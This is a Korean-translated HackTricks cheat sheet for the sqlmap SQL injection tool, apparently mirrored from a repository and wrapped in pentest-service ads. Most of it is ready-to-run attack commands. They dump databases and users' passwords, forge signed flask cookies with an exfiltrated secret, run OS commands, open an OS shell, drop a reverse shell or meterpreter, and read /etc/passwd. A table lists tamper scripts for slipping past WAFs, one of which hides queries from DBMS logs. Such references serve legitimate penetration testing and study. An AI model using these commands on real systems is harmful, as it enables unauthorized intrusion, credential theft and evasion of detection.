hacktricks/pentesting-web/sql-injection/sqlmap
2024-03-17 16:41:54 +00:00
..
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:41:54 +00:00
second-order-injection-sqlmap.md Translated to Korean 2024-02-10 21:30:13 +00:00

SQLMap - 치트시트

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

어디서든 쉽게 사용 가능한 취약점 평가 및 침투 테스트 설정. 20가지 이상의 도구 및 기능을 사용하여 완전한 펜테스트를 실행하고, 정찰부터 보고까지 다양한 기능을 제공합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 커스텀 도구, 탐지 및 공격 모듈을 개발하여 그들에게 깊이 파고들고, 쉘을 열고, 즐길 시간을 돌려줍니다.

{% embed url="https://pentest-tools.com/" %}

SQLmap을 위한 기본 인수

일반적인

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

정보 검색

내부

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB 데이터

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

주입 위치

Burp/ZAP 캡처로부터

요청을 캡처하고 req.txt 파일을 생성합니다

sqlmap -r req.txt --current-user

GET 요청 주입

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 요청 주입

sqlmap -u "http://example.com" --data "username=*&password=*"

헤더 및 기타 HTTP 메소드에서의 인젝션

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

SQL 삽입이 성공한 경우 문자열 표시

--string="string_showed_when_TRUE"

Eval

Sqlmap은 각 payload을 보내기 전에 일부 파이썬 원라이너로 처리하기 위해 -e 또는 --eval 사용을 허용합니다. 이를 통해 payload을 보내기 전에 매우 쉽고 빠르게 사용자 정의 방식으로 처리할 수 있습니다. 다음 예제에서는 flask 쿠키 세션전송되기 전에 flask에 의해 알려진 비밀로 서명됩니다:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

파일 읽기

--file-read=/etc/passwd

SQLmap을 사용하여 웹사이트 크롤링 및 자동 공격하기

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

두 번째 순서 인젝션

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

이 게시물을 읽으세요. sqlmap을 사용하여 간단하고 복잡한 2차 순서 인젝션을 수행하는 방법에 대해 설명합니다.

인젝션 사용자 정의

접미사 설정

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

접두사

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

불리언 주입을 찾는 데 도움이 필요한 경우

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

파이썬으로 자체 tamper를 만들 수 있다는 것을 기억하세요. 매우 간단합니다. Second Order Injection 페이지에서 tamper 예제를 찾을 수 있습니다.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper 설명
apostrophemask.py 아포스트로피 문자를 해당 UTF-8 전체 너비의 대체 문자로 대체합니다.
apostrophenullencode.py 아포스트로피 문자를 해당 불법 이중 유니코드 대체 문자로 대체합니다.
appendnullbyte.py 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다.
base64encode.py 주어진 페이로드의 모든 문자를 Base64로 변환합니다.
between.py 크다 연산자('>')를 'NOT BETWEEN 0 AND #'로 대체합니다.
bluecoat.py SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체한 후 '=' 문자를 LIKE 연산자로 대체합니다.
chardoubleencode.py 주어진 페이로드의 모든 문자를 두 번의 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
commalesslimit.py 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다.
commalessmid.py 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다.
concat2concatws.py 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다.
charencode.py 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
charunicodeencode.py 주어진 페이로드의 미인코딩된 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022"
charunicodeescape.py 주어진 페이로드의 미인코딩된 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022"
equaltolike.py 모든 등호 연산자('=')를 LIKE 연산자로 대체합니다.
escapequotes.py 따옴표('와 ")를 슬래시로 이스케이프합니다.
greatest.py 크다 연산자('>')를 'GREATEST' 대체 문자로 대체합니다.
halfversionedmorekeywords.py 각 키워드 앞에 버전이 지정된 MySQL 주석을 추가합니다.
ifnull2ifisnull.py 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다.
modsecurityversioned.py 버전이 지정된 주석으로 쿼리 전체를 감싸줍니다.
modsecurityzeroversioned.py 제로 버전 주석으로 쿼리 전체를 감싸줍니다.
multiplespaces.py SQL 키워드 주변에 여러 공백을 추가합니다.
nonrecursivereplacement.py 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "")) 필터링합니다.
percentage.py 각 문자 앞에 퍼센트 기호(%)를 추가합니다.
overlongutf8.py 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음).
randomcase.py 각 키워드 문자를 무작위 대소문자 값으로 대체합니다.
randomcomments.py SQL 키워드에 무작위 주석을 추가합니다.
securesphere.py 특수 제작된 문자열을 페이로드 끝에 추가합니다.
sp_password.py 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 은폐합니다.
space2comment.py 공백 문자(' ')을 주석으로 대체합니다.
space2dash.py 공백 문자(' ')을 대시 주석('--')로 대체한 후 무작위 문자열과 새 줄('\n')이 이어집니다.
space2hash.py 공백 문자(' ')을 샵 문자('#')으로 대체한 후 무작위 문자열과 새 줄('\n')이 이어집니다.
space2morehash.py 공백 문자(' ')을 샵 문자('#')으로 대체한 후 무작위 문자열과 새 줄('\n')이 이어집니다.
space2mssqlblank.py 공백 문자(' ')을 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mssqlhash.py 공백 문자(' ')을 샵 문자('#')으로 대체한 후 새 줄('\n')이 이어집니다.
space2mysqlblank.py 공백 문자(' ')을 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mysqldash.py 공백 문자(' ')을 대시 주석('--')로 대체한 후 새 줄('\n')이 이어집니다.
space2plus.py 공백 문자(' ')을 플러스 기호('+')로 대체합니다.
space2randomblank.py 공백 문자(' ')을 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
symboliclogical.py AND 및 OR 논리 연산자를 해당 기호 대체자로 대체합니다 (&& 및).
unionalltounion.py UNION ALL SELECT를 UNION SELECT로 대체합니다.
unmagicquotes.py 따옴표(')를 다중 바이트 콤보 %bf%27로 대체하고 끝에 일반 주석을 추가하여 작동하도록 합니다.
uppercase.py 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다.
varnish.py HTTP 헤더 'X-originating-IP'를 추가합니다.
versionedkeywords.py 각 비 함수 키워드를 버전이 지정된 MySQL 주석으로 둘러싸줍니다.
versionedmorekeywords.py 각 키워드를 버전이 지정된 MySQL 주석으로 둘러싸줍니다.
xforwardedfor.py 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다.

취약점 평가 및 펜테스팅을 위한 즉시 사용 가능한 설정. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 수행합니다. 우리는 펜테스터를 대체하지 않습니다 - 그들에게 깊이 파고들고, 쉘을 열고, 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.

{% embed url="https://pentest-tools.com/" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법: